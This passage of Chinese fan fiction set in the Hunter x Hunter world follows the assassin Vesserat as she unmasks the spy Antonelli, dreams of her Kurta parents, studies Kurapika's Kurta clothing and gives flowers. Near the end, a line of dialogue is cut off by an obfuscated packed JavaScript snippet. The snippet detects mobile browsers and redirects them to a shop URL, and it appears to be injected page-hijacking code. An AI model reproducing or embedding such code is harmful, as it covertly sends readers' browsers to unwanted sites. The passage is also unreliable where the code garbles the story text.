匆匆忙忙赶去医生的办公室,可是谁也不在。维瑟拉特早就把家庭医生差使走了。 “怎么办!”唐培里显得好慌,肯定是不希望自己的背上出现一个死人,“我们要不赶紧去医院吧!等等……要不要和酷拉先生提前说一声?” 听到安东内利的脚步顿了顿。他发出了略显别扭的“啊?”一声。 “毕竟家里的事现在都是酷拉先生在管啊!”唐培里急到要跺脚了,“而且,这姑娘是酷拉先生的下属嘛,肯定要和他说的!” “也是,我居然没想起来这件事……行吧,那我去和酷拉先生说。” 他说着就要走,唐培里慌慌张张地拽住他。 “等等,你就这么走了?你得帮我把她搬到车上才行啊——然后还要搬下车呢,我搬不动她的!传达的工作就交给别人吧,半道上打电话也行嘛,总之肯定要先去医院。这事关人命!” 安东内利蹙着眉头,深思熟虑的样子,想了想,答应了,“行。” 又是匆匆忙忙,他们朝车库而去。维瑟拉特挣扎着要站起来,这样一来唐培里可背不动她了,赶紧放她下来,可她根本走不稳,还一直乱动,扯歪的唐培里的外套,安东内利的手套也被拽掉了。真是折腾,还不如背着她。 车近在眼前,唐培里已经解开车锁了。“你再坚持一下!”他说。 其实,已经不用再坚持了。 “是你,对吧?” 维瑟拉特伸出手,攥住的是叛徒的手腕。 23.对峙x别再挣扎了x结尾 维瑟拉特的手指纤长,指骨也细,算是一双漂亮的手,看起来很像是那种会出现在钻石戒指广告里的十指。 安东内利未曾想到,这只手会在出乎意料的某个时刻紧紧钳住自己的手腕,如锁链般结实且有力,仿佛包裹在白净皮肤之下的是钢铁打造而成的骨头。紧随其后,是她的询问。 “是你,对吧?”她是这么说的。 见习管家安东内利露出分外茫然的表情,看起来似乎完全不明白她的发言是什么意思,在出声之前便下意识地想要把手抽回来,可她的手指实在是把手腕钳得太紧了,以他这个体型的合理力气,怎么也没办法挣脱,甚至都没有办法让手臂挪动一寸。 真尴尬,甚至算得上羞耻了,他居然在力量的对决中输给了一个女人。 这个事实让他的表情不自觉地僵了一下,倘若细细观察,一定能够从他的表情中找到一点咬牙切齿的痕迹,但他很快就把露出的马脚收了回去,换上恰到好处的困惑。 “您在说什么呢?我不太明白你的意思。”他还笑了一下,“对了,您的身体还好吗?已经不难受了吗?” “我的身体还好,不难受。我正在说的是你的事,我说你是叛徒。” 不,仔细想想,说不定他的身份不是被策反的叛徒。打从一开始,他很可能就已经作为间谍被安插进来了。问题是,他为谁工作。 安东内利还是保持着那种恰到好处的困惑——其实他现在应该演出愤怒的情绪才对,这才是被诬告的人会在此刻拥有的原始反应。 没有意识到这一点的他,此刻只说:“我还是不懂你在说什么。叛徒?什么叛徒?” 他依旧在笑,一贯礼貌的人称代词却发生了极其微妙的转变,估计已经对她舍弃了无用的礼节吧。 到了要求证据的阶段了,是吗?维瑟拉特倒是没有提前预见到这一点,不过没关系。在做出切实的结论之前,她当然已经找到了可靠的依据。 “我们的手一样。这就是证据。” 她说着,伸出手举到他的眼前,摊开五指。 “我说的一样,是指虎口、食指根部和掌心都有茧子的这部分一样。我的手被磨出了厚重的茧是因为我经常拿枪,你的手上为什么也会有一样的痕迹?我了解过你的工作了,管家的差事不会让你的手长出这种痕迹。” 安东内利看起来还是很冷静,但细细观察的话也会发现,那只是被沉静表象包裹的紧张而已。他没怎么迟疑——一定是知道太久的思考会减少自己的无辜——立刻张了张嘴。根本来不及吐出半个字,就已经被维瑟拉特堵上了嘴。 物理意义上的堵嘴,维瑟拉特直接把他的嘴捂上了。 到此为止也就没有必要伪装或是怎样了。安东内利伸出两条过长的手臂,试图绞住维瑟拉特的上半身,努力用指尖去够她的发梢,一下子抓住了这头红色的长发,猛地一拽,可她却巍然不动。 没有痛感的加持,这只不过是小小的一阵拉扯感而已,完全可以抵抗,被猴子的手臂禁锢也无需担心。 稍稍用点力气,维瑟拉特卸下了手臂的关节,这样一来就能灵活地拧动身子了。她倏地从长臂的包围中钻出来,踏着安东内利的肩膀把他踩到地上,摸出藏在口袋里的鱼线,飞快地缠绕住他的四肢。他当然要挣扎,不挣扎就不像是间谍该有的样子了。 可能是求生的意志向来强大,也可能是他刚才刻意收敛了,此刻他爆发出了相当恐怖的力气,即便皮肉被鱼线割开,他也还是在不停地挣扎着,试图掀翻按在他身上的维瑟拉特。 很可惜,失败了。 维瑟拉特面不改色地给鱼线打了个漂亮的葡萄藤结,腾出的双手捧着他的脑袋,往地上猛砸一下,力度控制得恰到好处,刚好能够让他昏迷过去,却不至于脑部重伤的程度。 对了,以防万一,还要用外套把他的脑袋裹起来,免得他在预料之外的时间里醒来——和抓捕动物时差不多的防应激操作。 “请帮我找一辆小推车,和足够能装下他的箱子。”她拜托着唐培里,相当罕见地主动向旁人提出了请求,“可以是纸箱,或者木条箱。只要是足够大的箱子就可以。” 唐培里好茫然,大脑还处在一种受惊的状态。 说真的,刚才发生的一切实在是太快太快了。回过神来,见习管家就已经变成被紧紧捆住的一团东西了。这是在干什么,好像是在找叛徒?酷拉先生的手下到底有病还是没病,他们还要去医院吗?不去医院的话,他为什么要在这里,他的角色设定到底是工具人还是见证者?完全不知道啊! 他花了一点时间进行思考,可还是什么都想不到,干脆放弃了思考,直接执行维瑟拉特的请求,在车库角落的杂物间找到了她想要的东西,非常茫然却也相当顺从地帮着一起把箱子里的叛徒推到了莱特·诺斯拉的面前。 然后呢,然后该做什么?他不知道,维瑟拉特也不知道。她的工作到此就是终点。如果没有接下来的新吩咐,她也不会继续跟进安东内利的事情。所以当唐培里(战战兢兢地)问她接下来的安排时,她给出的答复是“不知道”。 好在最后还是知道了一点安东内利的后续。是酷拉皮卡告诉他的。 坚信事情要有始有终的他,当然会把她缺席期间的信息全部补全。 “安东内利承认了,是他把伪装占卜的事情传达给了兰格雷,当然还有其他情报。”他在这里停顿了一下,不确定是否应该告诉维瑟拉特,“还记得在友克鑫见面的那天,我们遇到的逃犯和追捕逃犯的家伙吗?” 维瑟拉特花了点时间进行回忆,“记得。” “那是兰格雷收到安东内利的情报后着手的。他认定我是协助莱特的二把手,想要尽快铲除我,以便扶持安东内利上位。抱歉,你那次的受伤是被我牵连了。” 她看起来很无所谓,“没关系。” “回到安东内利的话题上。他是兰格雷家的私生子,原本就是为了探听诺斯 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久远的、戏谑的话语,是女人的声音,忽然窜出来,像是谁把香烟的烟雾吐到了维瑟拉特的脸上。她不自觉地缩了缩肩膀,微不可查的小动作没有从酷拉皮卡的视线中溜走。 “怎么了?” 她摇头,“没事。卡尔玛拉家不是很好。” “抱歉,问了你不礼貌的问题……也很抱歉让你处理了找叛徒这种麻烦且肮脏的工作。” 他打心底觉得把这样的工作推给维瑟拉特是特别不公平的事情,可又不得不这么做。 维瑟拉特不曾好奇的这份工作的“为什么”,所对应的理由是他自私的意图。他想,只要维瑟拉特成为了那个消减叛徒的人,就足够证明自己的忠心和价值了,自此之后莱特再也不会说出过分的话语。 “没关系。”她完全无所谓,“反正,只是工作。” 工作不分好坏,她即不讨厌也不喜欢工作。她只是会按照指令完成工作而已。 而现在,这段工作告了一段落,连后续都已经知道了。维瑟拉特没有更多的好奇,早早地——看了一眼时钟才发现其实已经挺晚了——回到自己的房间。 梳洗、更衣,钻进被窝,然后闭上眼。 她没有入睡困难症,但今天确实睡得很快。似乎才刚刚闭上眼,她的意识就已经飘起来了。至于身体嘛……像是被某种流淌着的、柔软的的东西包裹住了,湿漉漉的,充满水汽,明明是没有实体的承托感,不知为何却让她好安心。 漂浮着,漂浮着,好像听到了话语。不是裹挟着尼古丁和焦油的女性的声音,而是男人的声音。有什么人的身影立在重叠深绿的丛林中向她招了招手。 “狐狸,过来。”那个声音说。 不是十三号,也不是维瑟拉特。狐狸?奇怪的称呼。 到此,她可以确信,自己正在做梦。 24.梦境x花纹x按我说的做满百收藏加更 湿漉漉的风,深山的味道。好像听到鸟在叫。 维瑟拉特推开门——不,不是推开的。她完全就是像豹子那样猛得冲进来,用肩膀顶开家门,挂在门上的那块绣着小鹿的毛毯都在随之荡个不停,小鹿也差点要跑走了。 “爸爸太慢啦!” 她站在门内,得意洋洋地双手叉腰,用下巴指着天空。 “完全比不上我。” 爸爸(是爸爸吗?是爸爸吧)慢悠悠地走过来,一点都不急切,丝毫没有被她的发言打击到。太阳的光晕过分明亮,遮挡住了他的面孔,恍恍惚惚的,她看不真切,只能瞥见到一点眼镜的反光,看到了金色的镜框,还能听见他的声音。 “爸爸当然比不过你啦。”笑似的话语,“因为,你是狐狸嘛。” 她感觉到自己撅起了嘴巴,好像有点不服气。“你是因为我跑得很快所以才给我取了‘狐狸’这个小名吗?”她问。 “不是哦。第一次叫你狐狸的时候,你还不会走路呢,更不是能跑得这么快的孩子。只是因为你继承了和你母亲一样的红发,看起来真的像赤狐。” “诶——?好没创意哦。” “是吗?爸爸觉得狐狸是很有意思的名字哦。既然你不喜欢的话,那你想被叫做什么呢?” “嗯……让我想想!” 丢下这话的她,叉着腰走进屋里。家里燃着柴火,整个家都暖……不,维瑟拉特并没有感觉到温暖。当然,也不冷。 一步一步往前,她的视线一直落在窗边那头漂亮的红发上。她知道那是妈妈。 拿在妈妈手里的是开春之后要给她穿的衣服,妈妈似乎还在苦恼要把尺寸放到多大才好,肯定没有听见她的靠近。既然如此,她更要放轻脚步才行了。 就像狐狸那样,压低身子,放缓动作,悄无声息地靠过去,找准时机,吓妈妈一大跳。 可惜完全没能吓到。 “你还没走进家门的时候,我就已经听到你的说话声了哟。”妈妈笑着,放下了手里的针线,“狐狸,你失败了。” 失败?真不爱听这话!维瑟拉特嗷嗷嗷地叫嚷起来,赖皮虫似的扑进妈妈的怀里,用脑袋蹭她。妈妈也耐心地忍受着她的撒娇,柔软的红色长发会落在她的脸颊上。她抬起头,看不清妈妈的脸。 但是,看到了妈妈的眼睛,是金色的。 依然是日光,遮蔽了面容的这层光芒却将妈妈的眼睛照得如此清晰明亮,维瑟拉特甚至能够看到她左眼虹膜中有一块小小的有三角形棕斑。 她还想多看看妈妈的眼睛,可好奇怪,她已经自顾自地站起来了,拿起妈妈放在腿上还没做完的崭新上衣,询问上面的花纹都是什么意思。 “这是藤蔓。”妈妈漂亮的手指拂过金色的花纹,话语娓娓道来,“寓意着新生与茁壮的成长。这个嘛,是风的形状。其实风也没什么形状,只是我们窟卢塔人把风的存在具象成了这样的图腾而已。还有……” 她正在听,听得不算认真,所以话语都从耳边溜走了。妈妈轻推着她的肩膀,说她一定是要睡着了,维瑟拉特可不会认同这话。只是家里太暖和了,所以冒出了睡意,她这么替自己辩解。 “我要去找朋友们玩了!” 她丢下这话,一下子从妈妈的身上跳起来。 狐狸秉性又冒出来了,一想到玩这件事,她的脚步都变快了好多,妈妈叮嘱的“早点回家”也被抛在了身后,她迫不及待地跑出家门。 密林、房屋、红眼睛的族人,统统被她超越,熟悉的朋友家就快到了,她的朋友一定在等待着她,他们将会重复。只要伸出手,推开那扇门—— ——天花板映入眼中。 维瑟拉特醒来了。她花了点时间才意识到这个事实,也花了点时间才察觉到,她刚才度过的时刻只是梦境,明明她早在沉入睡眠后的不久就已经意识到了正在做梦的事实,偏偏在睡梦进行的途中忽略了。真奇怪。 而后又在床上躺了一会儿。今天的被子重得奇怪,让她觉得呼吸不畅。既然如此,再躺下去肯定也没有必要。她索性掀开被子下床,赤脚踩着硬邦邦的木地板,径直走到镜子前。 在看清自己的面孔之前,最先看到的是长发。红色的头发,像狐狸一样。 也像梦里的妈妈。 只是梦里那头长发柔顺得像是丝绸,顺着肩头一路淌下,柔软的发梢几乎能触碰到地面。而维瑟拉特,她一定在睡觉时很不安稳,发丝被纯棉枕套搓得微微炸开,看起来一缕一缕凹凸不平,只有颜色和那头漂亮的丝绸长发相似了。 维瑟拉特没有伸手去拿梳子,只抬起手,把额前的碎发抓到耳后,露出经常被发丝遮盖住的那只金色的右眼。 有人说过她的眼睛很奇怪吗?也许有,也许没有,她忘记了。正如她也不记得自己为什么要刻意留长这一侧的发丝,让刘海足够挡住右眼。或许是她自己心里觉得异色的眼眸是奇怪的。 这只眼睛和梦里的母亲一样。金色的,杏子形状的。 父亲、母亲、家。 维瑟拉特第一次做这样的梦——也可能以前做过,但是忘记了。 总之,就现在的她而言,这确实是第一次窥见到的梦境。 是记忆在复苏吗,还是大脑编造出来的幻觉?她无法判断。 同样,她也不知道自己现在究竟冒出了怎样的感觉,只觉得心脏的存在感变得前所未有的微弱,胸膛一定空空地快要塌陷下去了,比疼痛感更磨人,毕竟她感觉不到疼痛。 肯定是因为这个奇怪的、不真实也不像是幻想的梦,害她花了比平常更多的时间才结束了造成的准备工作,还好没人会苛责她不算过分的小小迟到。 “换发型了?” 芭蕉大喇喇地点明这件事,维瑟拉特迟钝了两秒才点头。“嗯。” 其实也不是什么大变化,只是和平常不一样而已。 她往日里打理头发的方式几乎每日相同,都会将一小撮头发扎在脑袋旁边——对于这个发型,心直口快的芭蕉曾经给出过“你为人冷冰冰的但头发捯饬得还挺可爱和你真不搭”的评价。当时她好像也是“嗯” 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她飞快地把烟盒收回去,企图用极快的应对效率掩盖住自己的工作失误。可惜这种事藏不住,她只能补上一句:“不好意思,拿错了。稍等。” 她的手继续在口袋里摸索,从左口袋摸到右口袋,随即伸进了风衣的内袋里,一路摸到背后的衬布。 摸到了火柴盒、三包香烟、袖珍手枪、短柄弯刀和一盒子弹,但是没有手机。 “应该是。”她想了想,“落在房间里了。” 先前的想法有误,原来新发型真的会挺影响工作的。 维瑟拉特默默地把手收回口袋里。道歉的话已经说过了,那这次就不说了,“我去把手机拿回来。” 芭蕉一点都不介意,“行。我等你。” 维瑟拉特快步走回去,路上遇到了酷拉皮卡。他好像也对她梳起了头发的这件事挺意外的,还好他不会做诗。 “这下视线都能变得开阔很多了吧。”他只笑着这么说了,感觉比她害开心一点。 维瑟拉特“嗯”了一声,视线不自觉地落在他的身上。 他的西服一成不变,挺括且没有花纹……啊,记得有一回,他穿的不是西装,而是窟卢塔的服饰吧? 藤蔓的花纹是茁壮和新生,风可以成为有型的图腾。他那件衣服上的图腾意味着什么呢?她完全想不起来了。 说起来,西装下他的衣服,会有花纹吗?会是窟卢塔的服饰吗?她想要知道。 从这一天开始,酷拉皮卡感觉到维瑟拉特的视线黏在了他的身上。 是的,黏住了,特别牢固地黏着,怎么也没有办法忽视的那种,他都不知道该怎么把“为什么”问出口。 算了,算了,反正目光又不会刺痛什么人,她肯定也有自己的想法,这应当是好事一桩才对。别担心,别担心…… 但很突然的,维瑟拉特敲开了她的房门。 “把你的衣服脱掉。”她一开口就说。 ……? 酷拉皮卡惊讶地发现,自己居然完全说不出话。 25.合理请求x借用x小调查 酷拉皮卡听到了一句让他好意外的话,甚至很可能是一句他这辈子都没怎么听到过的要求,也难怪他会茫然地眨眼,愣了片刻之后还是没能回过神来。 正是因为反应不过来,他习惯性地反问了一句:“你说什么?” 与此同时,提出了非人要求的维瑟拉特一脸平静,看来完全没有意识到自己的话真的很刁难人。她还很平静地遵从酷拉皮卡的要求,将自己的话语重复了一遍。 “我刚才说。”可能是担心酷拉皮卡听不明白,在重复的时候特地用上了一种字正腔圆的语调,“请把你的衣服脱掉。” “……” 真的,这话不管听多少遍,都足够让人产生一种小脑萎缩的感觉。 实不相瞒,难得能够听到维瑟拉特主动提出想要做点什么,酷拉皮卡是很高兴的,这会让他觉得她逐渐变回了那个小时候要求很多还很较真的小伙伴。可眼下这个要求嘛…… 他又沉默了小半刻,在心里琢磨着合适的措辞。 “要我脱衣服的话,其实没什么问题。但是,在此之前,我想问问。”他选择了一种相当谨慎的方式进行提问,“你的这个请求,想要实现的需求是什么?” 犹豫过分委婉且谨慎,倒置酷拉皮卡的询问染上了一点晦涩难懂的意味,绝不是轻易就能听明白的那种话语,也难怪维瑟拉特迟钝了好一会儿,才艰难地明白了他的意思。 原来是想要知道她的意图啊。 意图没什么好遮遮掩掩的,她直接说:“我想知道你穿在西装下的衣服上会不会有花纹。” “原来是这样!”酷拉皮卡猛松了口气。 他刚才真的已经冒出一大堆恐怖的猜想了。既然只是想看花纹的话,那就没什么好胡思乱想的了。 酷拉皮卡合上门,这就动手开始脱掉西装外套了。 “花纹的话,应该是没有的,我穿的只是一件很普通的白衬衫而已。非要说的话,印在布料上的竖条暗纹是你想要看到的花纹吗?” 维瑟拉特一动不动,“不是。” “好吧。” 总觉得她的脸上露出了一丁点失落的痕迹——不那么明显,但肯定存在着。 明明她的失落是需要安慰的,可不知道为什么,酷拉皮卡却有些想笑。 “为什么突然好奇衣服上的花纹了?”他询问着,同时也在进行合理的猜测,“是看了什么和纹章或是花纹有关的书吗?” “没有。” 她没那么爱看书。费劲巴拉地读完一本书,过不了多久就会忘掉里面的内容,付出那么多的成本却只能收获逐渐衰减的回报,她可不喜欢这种感觉。 “我做了梦,梦里出现了衣服上的花纹。”她说着,在这里顿了顿,“梦里是我的妈妈在为我做衣服。她的头发和我一样是红色的,对吗?眼睛也是金色的。我记得你没有和我说过妈妈的事情。不过,梦里我没能看清她的脸。她告诉了我衣服上那些花纹的寓意,我想起你的衣服上也有类似的花纹,所以想要来看看。就是这样。” 有时候,她的话语会变得冗长而累赘,想必一定会让听众觉得疲惫吧。还好,酷拉皮卡不会对累赘的话语感到疲倦。他只觉得这是她幼时话多的秉性延续至今的影子而已。 况且,她说起的,全部都是过去的事情。他怎么可能会对往日厌倦。 “维瑟拉特的妈妈就是你说的那样哦。” 他说着,笑了一下,面部肌肉扯动神经,带来一阵微妙的酸涩感,好难受。 “以前你总说,你和妈妈是一个模子里刻出来的,照照镜子就能够看到妈妈的模样。” 当时说着这话的她显得好得意,有种骄傲得不行的样子。那时候的酷拉皮卡被她这副模样刺得好不服气,也倔强地说,他和妈妈同样长得特别像,继承了母亲相似面孔的人可不止她一个而已。 那时彼此较劲的模样,直到今日似乎还能清晰地看到。只是现在,倘若看向维瑟拉特的面孔,看到的只有很平淡的面容而已。谁也不会发现她松了口气,酷拉皮卡也一样——原来梦境不全是幻想而已,为此她足够松一口气。 所以,常常是在回忆与当下重叠的那一刻,酷拉皮卡会意识到往日不再的事实,刚刚才乘着回忆飘起来的心重新坠落荒芜的现实。但维瑟拉特还在这里,他们重逢了,这就足够。他至少还能够依赖这个事实。 快点将即将泛滥的灰暗情绪统统收起来,他想起维瑟拉特刚才提起的话语。 “其实你真正想看的,是我之前穿过的那套窟卢塔的服饰吧?” 他相当精准地抓住了维瑟拉特的真正需求,而她本人还没有意识到这一点,思考了一小会儿,才点了点头。“是的。” “好,你稍等我一下。” 他打开衣柜,樟脑丸的气味冒出来。 真奇怪,明明他的衣柜里满是那种樟脑丸略微刺鼻的凌冽气味,酷拉皮卡身上传来的气味却是那种很温润的微香,可惜维瑟拉特形容不出来,总之这股味道会让她想起友克鑫市立博物馆旁边的流动小摊刚刚制作好的蛋黄派,是一种滚烫而馥郁的香气。 维瑟拉特没有特意去看衣柜里挂着怎样的衣服,反正余光能瞥见到的范围都是西装。酷拉皮卡从防尘袋里拿出深蓝色的窟卢塔服饰,维瑟拉特想起防尘袋是用来装西服的,结果西服本体却大喇喇地直接挂在了衣柜里吗? “因为这身衣服更珍贵。”酷拉皮卡就是这么认为的,“西装的话,哪里都可以买到。” “哦。” 那个瞬间,她并未意识到藏在这话背后的深意。 不管怎么说,总算是重新见到曾经看他穿过的这身窟卢塔的服饰了。她把眼前既定存在着的这件衣服与梦里放在母亲腿上的上衣作比较,果然这件衣服上也纹着藤蔓的花纹,但是没有风和水。其余还有些她认不出来的、梦里的妈妈没有对她说起过的花纹,问问酷拉皮卡,他居然也不知道。 “爸爸妈妈没有和我说起过这个,我也没有问。”他对自己的小小无知如此解释。 维瑟拉特小幅度地点点头,“嗯。你果然不是完美的。” 也不知道是不是错觉,总感觉说着这话的她透着一丁点小小地得意,肯定是她把彼此之间的无知程度放在一起进行了对比,就此得出了少有的一些满足感吧。真过分 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他人的衣服,穿在自己的身上,有些别扭,还好也不是太别扭。维瑟拉特想起自己似乎在某个时期常常穿别人过大的衣服,但那是什么时候的事情,她完全记不起来了,只是在穿上这套柔软而温暖的衣物时,才冒出的那一点比香烟的雾气还难以抓捕到的回忆而已。 她没有去看镜子,直接推开门,走了出来。 “有点小。”她说。 “嗯,我穿的时候也这么觉得。给我做衣服的时候,妈妈没想到我会一直穿到现在吧。” 他是笑着这么说的,也是笑着在看她,可他的眉梢耷拉着。是失落吗,还是难过?她所没有的情绪,她琢磨不透。 维瑟拉特到了这一秒才看向镜子,红发衬在深蓝色的布料上,她的脚踝从裙摆下露出。这身衣服很好看,细细密密的针脚缝入爱意,可能正是因为如此,她感到自己和这身衣服格格不入。 她很快就脱下了窟卢塔的服饰,为此还找了个借口,“一直穿着别人的衣服很不礼貌。” 其实酷拉皮卡根本不介意,只是还来不及说点什么,她就脱下了衣服,很快地回去了。和平常一样,没有说道别。 回到房间,躺回到床上,维瑟拉特花了点时间才睡觉。 今夜她没有做梦,更加没有做和父母或是窟卢塔有关的梦,她像是昏厥了一下就很快地醒来了。镜子里映出她的脸,也可能是回忆里母亲的脸,晨起过快的心跳一直延续到了这一刻,简直要攫住她的呼吸。 窟卢塔,窟卢塔……以红色的火红眼为证。 脑海里很突然地冒出了这句话,在这一整天都挥之不去,明明她是记忆里那么差的家伙。 维瑟拉特走出宅邸,去给亚里砂买花,顺便散步。 不,其实她也不是在散步。 散步理应漫无目的,可她的脚步有前进的方向,带着她穿过街心花园,将教堂和钟楼甩在身后,手中握着的百合花束在书架间洒下一层薄薄的画风。她径直走到图书馆角落的电脑,拉开椅子坐下,打开了浏览器。 键入关键字——“窟卢塔”“灭族”。 26.世界的知识x报道x礼物 想来图书馆,算是一时兴起还是刻意为之呢?明明做出了决定的是自己,维瑟拉特这时候却完全说不出个所以然。 至少,在集市上挑选着给亚里砂的花束时,她丝毫没有想到要去图书馆的这种事。她当时真的是在全心全意地散步,也真的很专心地挑选着亚里砂会喜欢的花。 上一次送给她的话是香石竹,再之前是大花蕙兰,这些盛放得张扬且灿烂的花朵全都让亚里砂很高兴。按照她的说法,只要是维瑟拉特送的花,无论是怎样的品种,她全都很喜欢,因为真正能够让她满心欢喜的不只是好看的花束,而是维瑟拉特惦记着给她送花的这份心思。 换言之,哪怕维瑟拉特从路边绿化带里揪一把小草,不用雪梨纸和丝带包裹,就这么攥在手里,光秃秃地怼到亚里砂的面前,她也会满心欢喜地收下的。所谓的爱屋及乌就是这么一回事没有错了。 亚里砂的这种心情,维瑟拉特其实不太理解,也实在不乐意动用自己在亚里砂这里的“百分百被喜爱”特权,每次在挑选鲜花的时候,必定会拿出工作时的那股认真劲竭尽全力,也很固执地绝不挑选相同的花束,在她看来送出相同的东西可是很没有创意且相当偷懒的行为。为此还要努力记住上次送过的花卉才行,买花这件事肯定因此而变得更加具有挑战性了。 今天,维瑟拉特竭尽全力地挑选到了最漂亮的绿百合,老板用一条红丝带将花束绑好。这鲜明的红色好瞩目——没有不搭,但真的很醒目,仿佛谁人的红眼睛。 这可能就是她随即向老板问出“如果我想知道某个特定民族的知识,我该去哪里得知”的原因吧。 她这话的问法听起来还挺奇怪的,还好花店老板听明白了,想了想,说:“得去图书馆吧?” “图书馆?”听说过却一次都没有造访过的地方,本质依旧是因为维瑟拉特不爱读书,“要让我去书里寻找对应知识的意思吗?” “现在也用不着从书里找不可吧?”老板从身后搬来醒花桶,一边忙活着一边说,“听我女儿说,书本上的知识已经全部传输到网络上了,可以直接在图书馆的电脑上进行检索。这可比读书方便多了嘛。” “好。了解。” 所以她出现在了这里,图书馆的电脑旁,移动着老旧且笨重的鼠标,不那么容易地打开了浏览器检索后得出的第一个结果——基维百科对于“窟卢塔族”的词条。 「窟卢塔族,隐居在窟卢塔地区深山之中的少数民族,其眼眸在情绪激动时会变为绯红色,即被誉为"世上七大美色"之一的火红眼。1994年,窟卢塔族遭遇灭族屠杀,死亡人数共计共128人,嫌犯疑为A级通缉犯幻影旅团。」 滚轮滑下去。对于窟卢塔族存在的记述,写得好少好少,绝大部分的篇幅都是在诉说火红眼的美丽和稀有,旁边还配上了火红眼的图像——漂浮在透明福尔马林液体之中的赤红色的眼球。 只要稍微动一动鼠标的滚轮,随即而来的是窟卢塔族被发现灭族时的场景描述,洋洋洒洒写了好多,详尽的笔触描绘着受害者们如何被折磨以激发火红眼,还有他们的眼睛被尽数挖出的事实。这部分写得倒是过分详尽呢。 和任何时候一样,看完这一段就会忘记上一部分的内容,维瑟拉特花了很多时间才读完了全部文字。文字从电脑屏幕转移到她的大脑里了。而后就关掉了电脑,走出图书馆。 检索到的内容是酷拉皮卡没有和她说过的。他只说起的过去都是好的部分,即便是痛苦的灭族,也只是用最简单的话语给出了一个结论而已,没有那么详尽的、过分的、简直像是把他人的伤口撕开将血肉模糊的部分展示给人看的恶意趣味。 但,可能正是因为早就已经从酷拉皮卡的口中听到了族人全部死去的事实了吧,基维百科上的内容并未给维瑟拉特带来太多的震撼。也有些奇怪,她并不伤心,也没有那么愤懑,相较之下,一丁点盘踞在她心头的微妙的似曾相识感,倒是显得更加显著了一点。 那些文字让她感到似曾相识。是以前在什么场合下看到过吗?她努力地回忆,与似曾相识感联结在一起的只有报纸的油墨味,臭臭的。所以是在报纸上看到过类似的报道吗?她竟然一点也想不起来了。 难以回忆,一定会带来痛苦和失落。不过,和任何时候一样,她的情绪像是被高高地吊起来了,微弱而不真切,没有任何的实感。 不管怎么说,至少现在她对族人的事情知道得更多了。他们的火红眼都被挖出来了。火红眼,所以酷拉皮卡在搜集火红眼,忽然对他的动机也理解了。 维瑟拉特垂下眼眸,看到了皮靴上一层浅黄色的花粉。当然是绿百合的杰作。 她翘起鞋尖,用手抹掉花粉,顺便把花蕊也摘掉。之前听花店老板说过,摘掉百合的花蕊可以让它绽放更久,多亏现在想起了这句提醒。 从图书馆走回诺斯拉宅邸,她抄了近路,直接从集市穿过去,又经过了花店。一见到她,老板就和她打招呼,她不自在地颔了颔首,低下头的时候,闻到了一股相当浓郁的芬芳气味。 “是晚香玉的香味。”老板抽出一支晚香玉,插进她的外套口袋里,“很好闻吧?这支就送给你了。你一直照顾我的生意嘛。” 花香味爬上她的风衣,柔嫩的白花在她的口袋中仰着脑袋。 她身上是没有味道的,或是说不该有味道。她进行的一向是存在感极低的工作,味道会暴露她的行动。 维瑟拉特迟疑了一下,把花拿出来,递给老板。 “包起来吧。”她说,“请给我一束晚香玉。” 老板挺意外。她可不是为了说服客人买下又一束花才把晚香玉插进对方的口袋里的。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009055|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你果然很照顾我的生意,谢谢你。”老板在花束的下方打了个特别漂亮特别精致的结,笑眯眯地递给维瑟拉特,“常来啊。” “嗯。” 就这么带着意料之外的两束花回家了,用一侧手臂夹住一束,等亚里砂喂完狗之后给她送上绿百合,她和任何时候一样,笑得好开心,和她说谢谢。 然后把晚香玉交给酷拉皮卡。说是交给,其实也没打算当面给他。 当然不是什么害羞或是不好意思之类的心情在作祟,纯粹只是因为酷拉皮卡不在罢了,而这束花的香味又太过浓郁。维瑟拉特始终不喜欢自己的身上有气味,无论是异味还是好闻的味道她都不喜欢,这束花要是要是和她在一起待得太久,她一定也会染上同样的气味。既然如此,还是赶紧把花插进酷拉皮卡房间的门把手上吧。 她似乎忘记了,要留下是这束花是由自己送出的痕迹——准确地说,不是“忘记”,而是她根本没有意识到这种事,害得归家的酷拉皮卡稍稍花了点时间,才终于得知花束的赠予者可能是谁,也难怪他会在深夜时分敲响了维瑟拉特的房门。 那时候她刚洗完澡,头发湿漉漉地绞成一缕,搭在肩上。也就只有在这时候,她的身上才会有一点香波的味道。她微微歪过头,一如既往,等待着他说出第一句话,可酷拉皮卡偏偏在这时候卡壳了,明明只需要问问那束晚香玉的事情,如果确认是她送的话,再送上感谢的话语就好了。 这种注视着彼此却不说话的场景,可能多少有点尴尬。酷拉皮卡觉得自己必须得赶紧打破这份沉默了,张了张嘴,冒出很崎岖的一声“花”。 维瑟拉特点点头,看起来听得很专心,“嗯。” “那束白色的花,是你放在我门口的吗?” “是晚香玉。是的。” 她很认真地将被他定义为“白色的花”的花束更正为“晚香玉”,然后给出了肯定的答案。 有了这话,酷拉皮卡瞬间安心了,卡在喉咙的一口气顺畅地吐出来——原来他刚才是在紧张啊,一下子想明白了。如此一来,他也就能够送上感谢了。 “谢谢你。是很漂亮的花,也很好闻。”他笑着说。 维瑟拉特忽然觉得他看起来真的很像是花店里每天都会被卖光的鹅黄色阿斐瑞卡菊,是比绿百合或是晚香玉都要更加耀眼的花。 明明可以买阿斐瑞卡菊的,而不是和他很不相衬的白色花朵。她心想着,垂下了眼眸。 “不用谢。”她顿了顿,补上略显欲盖弥彰的一句,“顺手的事情。” 不管是专程的事情还是顺手的事情,对于酷拉皮卡来说全都无所谓,只要是她送来的礼物,他都会高高兴兴地接受。 “对了。” 都快要走了,他忽然想起了一些什么,问她, “要一起去克罗顿海岸吗?” 27.委托x一语中的x占星学 克罗顿海岸有着举世闻名的风景,被誉为世界八大奇景之首——真奇怪,人们真是格外执着于将世间的一切分个高下,明明这么做没有任何意义。 